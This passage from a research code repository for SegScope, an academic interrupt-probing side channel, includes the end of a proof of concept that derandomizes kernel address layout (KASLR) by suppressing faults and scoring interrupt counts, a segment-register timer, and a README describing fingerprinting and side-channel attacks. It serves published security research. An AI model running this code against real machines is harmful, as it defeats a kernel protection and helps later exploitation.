&mask); 108 | } 109 | 110 | // filt the abnormal value, just for denoising. 111 | 112 | int filter(int i) 113 | { 114 | int min, tar; 115 | int flag = 0; 116 | valid[i] = 0; 117 | score[i] = 0; 118 | var[i] = 0; 119 | for (int j = 0; j < cycles; j++) 120 | { 121 | if (inter_count[i][j] != 0) 122 | { 123 | valid[i]++; 124 | } 125 | score[i] += ((double)inter_count[i][j]); 126 | } 127 | score[i] = score[i] / valid[i]; 128 | for (int j = 0; j < cycles; j++) 129 | { 130 | if (inter_count[i][j] != 0) 131 | { 132 | var[i] += pow(inter_count[i][j] - score[i], 2) / valid[i]; 133 | } 134 | } 135 | standard[i] = pow(var[i], 0.5); 136 | 137 | for (int j = 0; j < cycles; j++) 138 | { 139 | if (inter_count[i][j] != 0 && (inter_count[i][j] < score[i] - 2 * standard[i] || inter_count[i][j] > score[i] + 2 * standard[i])) 140 | { 141 | inter_count[i][j] = 0; 142 | flag = 1; 143 | } 144 | } 145 | if (flag == 1) 146 | { 147 | filter(i); 148 | } 149 | } 150 | 151 | // process the result after access-count(read_addr) 152 | 153 | int compute() 154 | { 155 | 156 | int tar, tar2, tar3; 157 | FILE *fp = fopen("result-512", "w"); 158 | FILE *fp1 = fopen("result", "a+"); 159 | for (int i = 0; i < 512; i++) 160 | { 161 | filter(i); 162 | } 163 | 164 | // find the max count, which is the target(mapped address) 165 | int max0[5]; 166 | double cscore[512]; 167 | for (int i = 0; i < 512; i++) 168 | { 169 | cscore[i] = score[i]; 170 | } 171 | for (int y = 0; y < 5; y++) 172 | { 173 | max0[y] = 0; 174 | for (int i = 0; i < 512; i++) 175 | { 176 | if (cscore[i] > cscore[max0[y]]) 177 | { 178 | max0[y] = i; 179 | } 180 | } 181 | cscore[max0[y]] = 0; 182 | } 183 | 184 | printf("predict_slot is:%d, ", max0[0]); 185 | 186 | printf("the rest top-5 slot is:%d %d %d %d,", max0[1], max0[2], max0[3], max0[4]); 187 | 188 | printf("mapped_score is:%f,second_score=%f\n", score[max0[0]], score[max0[1]]); 189 | 190 | int base = 0x80800000; 191 | unsigned long addr = base + 2 * 1024 * 1024 * max0[0]; 192 | printf("%p\n\n", addr); 193 | fprintf(fp1, "%p\n", addr); 194 | 195 | for (int j = 0; j < 512; j++) 196 | { 197 | fprintf(fp, "%f\n", score[j]); 198 | } 199 | 200 | return 0; 201 | } 202 | 203 | // fault handler functions 204 | void sigsegv(int sig, siginfo_t *siginfo, void *context) 205 | { 206 | 207 | // printf("Caught segfault at address %p\n", siginfo->si_addr); 208 | ucontext_t *ucontext = (ucontext_t *)context; 209 | ucontext->uc_mcontext.gregs[REG_RIP] = (unsigned long)stopspeculate; 210 | 211 | return; 212 | } 213 | 214 | // binding fault handler 215 | int set_signal(void) 216 | { 217 | struct sigaction act; 218 | act.sa_sigaction = sigsegv; 219 | act.sa_flags = SA_SIGINFO; 220 | return sigaction(SIGSEGV, &act, NULL); 221 | } 222 | 223 | int main(int argc, char *argv[]) 224 | { 225 | int ret, i; 226 | unsigned long addr; 227 | char c; 228 | cpu_set_t get; 229 | CPU_ZERO(&get); 230 | progname = argv[0]; 231 | if (argc < 3) 232 | return usage(); 233 | 234 | if (sscanf(argv[1], "%d", &cycles) != 1) 235 | return usage(); 236 | 237 | if (sscanf(argv[2], "%c", &c) != 1) 238 | return usage(); 239 | 240 | if (c == 'a') 241 | { 242 | prefetch_flag = 0; 243 | set_signal(); 244 | } 245 | 246 | pin_cpu3(); 247 | 248 | if (sched_getaffinity(0, sizeof(get), &get) == -1) 249 | { 250 | printf("warning: can not get cpu affinity/n"); 251 | } 252 | 253 | for (int i = 0; i < 8; i++) 254 | { 255 | if (CPU_ISSET(i, &get)) 256 | { 257 | // printf("this thread %d is running on processor %d\n", gettid(),i); 258 | } 259 | } 260 | read_addr(cycles); 261 | compute(); 262 | return 0; 263 | } 264 | -------------------------------------------------------------------------------- /E3-Breaking_KASLR/timer.c: -------------------------------------------------------------------------------- 1 | /* For Intel, we use rdtsc as baseline */ 2 | #include 3 | #include 4 | #include 5 | #define _GUN_SOURCE 6 | #ifdef _MSC_VER 7 | #include /* for rdtscp and clflush */ 8 | #pragma optimize("gt", on) 9 | #else 10 | #include /* for rdtscp and clflush */ 11 | #endif 12 | #define __USE_GNU 13 | #include 14 | #include 15 | /* sscanf_s only works in MSVC. sscanf should work with other compilers*/ 16 | #ifndef _MSC_VER 17 | #define sscanf_s sscanf 18 | #endif 19 | #define T 10000 20 | int cc[T]; 21 | unsigned long long reth1; 22 | unsigned long long retl0; 23 | 24 | void prepare() 25 | { 26 | uint16_t value = 1; 27 | __asm__ volatile("mov %0, %%gs" : : "r"(value)); 28 | } 29 | 30 | unsigned long long get_cpu_cycle() 31 | { 32 | __asm__ __volatile__( 33 | "rdtsc" : // rdpru is more accurate than rdtsc on AMD processors 34 | "=d"(reth1), 35 | "=a"(retl0)); 36 | return ((reth1 << 32) | (retl0)); 37 | } 38 | 39 | /* Report best guess in value[0] and runner-up in value[1] */ 40 | double count_sum = 0; 41 | long time_sum = 0; 42 | void test_garnularity() 43 | { 44 | int i; 45 | unsigned int junk = 0; 46 | register uint64_t time1, time2; 47 | unsigned long long tsc0, tsc1; 48 | 49 | // warm up 50 | 51 | for (i = 0; i < 1000; i++) 52 | { 53 | 54 | unsigned int count = 0; 55 | prepare(); 56 | 57 | __asm__ __volatile__( 58 | //"CLI\n\t" 59 | "mov $0,%%eax\n\t" 60 | "L:\n\t" 61 | "incl %%eax\n\t" 62 | "mov %%gs,%%ecx\n\t" 63 | "cmp $1,%%ecx\n\t" 64 | "je L\n\t" 65 | "mov %%eax, %0" : "=r"(count)); 66 | if (i % 100 == 0) 67 | { 68 | printf("[log] warm-up: %d/1000\n", i); 69 | } 70 | } 71 | // SegScope-based timer (asm version) 72 | 73 | for (i = 0; i < T; i++) 74 | { 75 | 76 | if (i % 100 == 0) 77 | { 78 | printf("[log] %d/10000\n", i); 79 | } 80 | unsigned int count = 0; 81 | prepare(); 82 | time1 = get_cpu_cycle(); 83 | for (volatile int z = 0; z < 100; z++) 84 | { 85 | } /* Delay (can also mfence) */ 86 | 87 | __asm__ __volatile__( 88 | //"CLI\n\t" 89 | "mov $0,%%eax\n\t" 90 | "T:\n\t" 91 | "incl %%eax\n\t" 92 | "mov %%gs,%%ecx\n\t" 93 | "cmp $1,%%ecx\n\t" 94 | "je T\n\t" 95 | "mov %%eax, %0" : "=r"(count)); 96 | time2 = get_cpu_cycle(); 97 | // printf("%llu,%llu,%lf\n",time2-time1,count,(double)(time2-time1)/count); 98 | cc[i] = count; 99 | time_sum += (time2 - time1); 100 | count_sum += count; 101 | } 102 | printf("the granularity is: %lf\n", time_sum / count_sum); 103 | } 104 | int filter(int avg, int std) 105 | { 106 | for (int j = 0; j < T; j++) 107 | { 108 | 109 | if (cc[j] > avg + 2 * std || cc[j] < avg - 2 * std) 110 | { 111 | cc[j] = 0; 112 | } 113 | } 114 | } 115 | int compute() 116 | { 117 | 118 | double var = 0, avg = 0, standard; 119 | int Tnum = T; 120 | for (int j = 0; j < T; j++) 121 | { 122 | 123 | if (cc[j] > 0) 124 | { 125 | avg += cc[j]; 126 | } 127 | else 128 | { 129 | Tnum--; 130 | } 131 | } 132 | avg = avg / Tnum; 133 | for (int j = 0; j < T; j++) 134 | { 135 | 136 | if (cc[j] > 0) 137 | { 138 | var += pow(cc[j] - avg, 2) / Tnum; 139 | } 140 | } 141 | filter(avg, standard); 142 | standard = pow(var, 0.5); 143 | printf("avg=%f, standard=%f,Tnum=%d\n", avg, standard, Tnum); 144 | 145 | return 0; 146 | } 147 | 148 | static void pin_cpu3() 149 | { 150 | cpu_set_t mask; 151 | 152 | /* PIN to CPU */ 153 | CPU_ZERO(&mask); 154 | CPU_SET(3, &mask); 155 | sched_setaffinity(0, sizeof(cpu_set_t), &mask); 156 | } 157 | 158 | int main(int argc, const char **argv) 159 | { 160 | pin_cpu3(); 161 | test_garnularity(); 162 | compute(); 163 | return (0); 164 | } 165 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 zhangxin00 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SegScope 2 | 3 | This repository contains the experiments of evaluation and case studies discussed in the paper 4 | * "SegScope: Probing Fine-grained Interrupts via Architectural Footprints" (HPCA 2024). 5 | 6 | SegScope can be used to probe interrupts without any timer. We successfully apply it to resurrect multiple end-to-end attacks in a timer-constrained scenario. 7 | 8 | ## Tested Setup 9 | 10 | ### Software dependencies 11 | 12 | In order to run the experiments and proof-of-concepts, the following prerequisites need to be fulfilled: 13 | 14 | * Linux installation 15 | * Build tools (gcc, make) 16 | * Python 3 17 | 18 | * Browsers (for website fingerprinting) 19 | * [Chrome Browser](https://www.google.com/chrome/) or [Tor Browser](https://www.torproject.org/download/). 20 | * You also need to install the drivers for the browsers you would like to use. 21 | - Chrome: Download [here](https://chromedriver.chromium.org/downloads) and add `chromedriver` to your path 22 | - [Tor Browser](https://www.torproject.org): Install [tor-browser-selenium](https://github.com/webfp/tor-browser-selenium) 23 | 24 | ### Hardware dependencies 25 | 26 | Throughout our experiments, we successfully evaluated our implementations on the following environments. We recommend to test SegScope on bare-metal machines. 27 | 28 | | Machine | CPU | Kernel | 29 | | ---------------------- | ------------------- | --------------- | 30 | | Xiaomi Air 13.3 | Intel Core i5-8250U | Linux 5.15.0 | 31 | | Lenovo Yangtian 4900v | Intel Core i7-4790 | Linux 5.8.0 | 32 | | Lenovo Savior Y9000P | Intel Core i9-12900H | Linux 5.15.0 | 33 | | Honor Magicbook 16 Pro | AMD Ryzen 7 5800H | Linux 5.15.0 | 34 | | Amazon t2.large (Xen) | Intel Xeon E5-2686 | Linux 5.15.0 | 35 | | Amazon c5.large (KVM) | Intel Xeon 8275CL | Linux 5.15.0 | 36 | 37 | **Note:** The enhanced Spectral attack relies on the UMONITOR/UMWAIT instructions that are only available on Intel latest core processors (Tremont and Alder Lake). We evaluate it on our Lenovo Savior Y9000P machine. Please refer to [mwait](https://github.com/cispa/mwait) for more details. 38 | 39 | 40 | ## Materials 41 | 42 | This repository contains the following materials: 43 | 44 | * `E1-Website Fingerprinting`: contains the code that we apply SegScope to detect interrupts while opening a website. 45 | * `E2-Enhancing Spectral attack`: contains the code that we use SegScope to enhance a non-interrupt side channel attack (i.e., [spectral](https://github.com/cispa/mwait) ). 46 | * `E3-Breaking KASLR`: contains the code that we rely on SegScope-based timer to derandomize KASLR. 47 | 48 | ## Contact 49 | 50 | If there are questions regarding these experiments, please send an email to `zhangxin00@stu.pku.edu.cn`. 51 | 52 | ## How should I cite this work? 53 | 54 | Please use the following BibTeX entry: 55 | 56 | ```latex 57 | @inproceedings{Zhang2024SegScope, 58 | year={2024}, 59 | title={SegScope: Probing Fine-grained Interrupts via Architectural Footprints}, 60 | booktitle={High Performance Computer Architecture}, 61 | author={Xin Zhang and Zhi Zhang and Qingni Shen and Wenhao Wang and Yansong Gao and Zhuoxi Yang and Jiliang Zhang} 62 | } 63 | --------------------------------------------------------------------------------